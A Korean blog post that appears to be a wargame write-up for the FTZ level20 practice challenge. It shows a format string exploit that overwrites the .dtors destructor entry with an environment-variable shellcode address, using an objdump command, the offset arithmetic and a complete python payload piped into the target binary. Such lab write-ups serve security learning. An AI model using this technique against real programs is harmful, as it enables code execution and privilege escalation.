본문 바로가기

FTZ level20 본문

wargame/FTZ-LEVEL

FTZ level20

Seongjun_You 2021. 10. 8. 12:08

FSB문제

 

쉘 주소 만들고 획득

 

.dtors주소는 main이 끝나고 실행되는 소멸자이다.

.dtors주소에 쉘 주소를 넣는다.

main이 끝난 후 쉘이 실행될 것이다.

objdump -s -j .dtors attackme

.dtors주소를 구한다. destructor주소는 4byte 더해야 한다. 즉 0x8049598

포맷 스트링을 보내면 주소 값이 나온다

12byte 떨어진 곳에 입력했던 AAAA가 있다.

 

환경변수 쉘  : 0xbffffefe

.dtors : 0x8049598

 

0xfefe(65278)-출력값(40) = 65238

0x1bfff – 0xfefe = 49409

 

출력 값 : 4 + 4 + 4 + 4 + 8*3 = 40

(python –c ‘print “\x90”*4 + “\x98\x95\x04\x08” + “\x90”*4 + “\x9a\x95\x04\x08” + “%8x%8x%8x” + “%65238d%n” + “%49409d%n”’; cat) | ./attackme

%8x 세 개 넣은 이유는 offset12byte 떨어져 있기 때문임

이렇게 FTZ level

 

'wargame > FTZ-LEVEL' 카테고리의 다른 글

FTZ level19  (0) 2021.10.08
FTZ level18  (0) 2021.10.08
FTZ level17  (0) 2021.10.08
FTZ level16  (0) 2021.10.07
FTZ level15  (0) 2021.10.07
Comments